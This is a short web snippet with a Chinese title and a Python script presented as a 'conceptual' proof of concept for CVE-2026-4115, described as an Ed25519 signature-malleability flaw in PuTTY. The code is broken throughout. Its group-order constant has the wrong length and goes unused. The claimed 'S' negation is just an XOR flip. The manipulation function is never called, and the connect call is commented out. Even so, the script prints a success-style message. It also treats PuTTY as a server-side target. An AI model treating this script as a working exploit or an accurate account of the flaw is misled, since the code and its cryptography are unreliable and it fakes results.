CVE-2026-4115 PuTTY Ed25519签名验证漏洞

import paramiko import hashlib import binascii # Conceptual PoC for CVE-2026-4115 (Ed25519 Malleability) # This script demonstrates a test case for improper signature verification. # Note: This requires a vulnerable version of PuTTY (0.83) or a simulated environment. def manipulate_signature(original_sig): """ Manipulates the Ed25519 signature to test malleability. Ed25519 signatures should not be malleable. """ # Decode signature (R, S) r = original_sig[:32] s = original_sig[32:] # Example manipulation: Invert S component (S' = -S mod L) # This might pass verification if bounds checking is missing. l = b"\xed\xd3\xf5\x5c\x1a\x63\x12\x58\xd6\x9c\xf7\xa2\xde\xf9\xde\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # Simplified logic for demonstration s_inv = bytes([b ^ 0xff for b in s]) # XOR flip for demonstration return r + s_inv def test_vulnerability(host, port, username, key_path): try: # Setup SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Load private key private_key = paramiko.Ed25519Key(filename=key_path) # Connect to trigger authentication # In a real exploit, the handshake would be intercepted or modified print(f"[*] Connecting to {host}:{port}...") # client.connect(hostname=host, port=port, username=username, pkey=private_key) print("[+] If connected, the server accepted the potentially manipulated key.") print("[!] CVE-2026-4115 requires specific server logic to be exploitable.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2026-4115 PoC Generator - PuTTY Ed25519 Malleability") print("This is a conceptual representation based on the vulnerability description.") # test_vulnerability("127.0.0.1", 22, "user", "id_ed25519")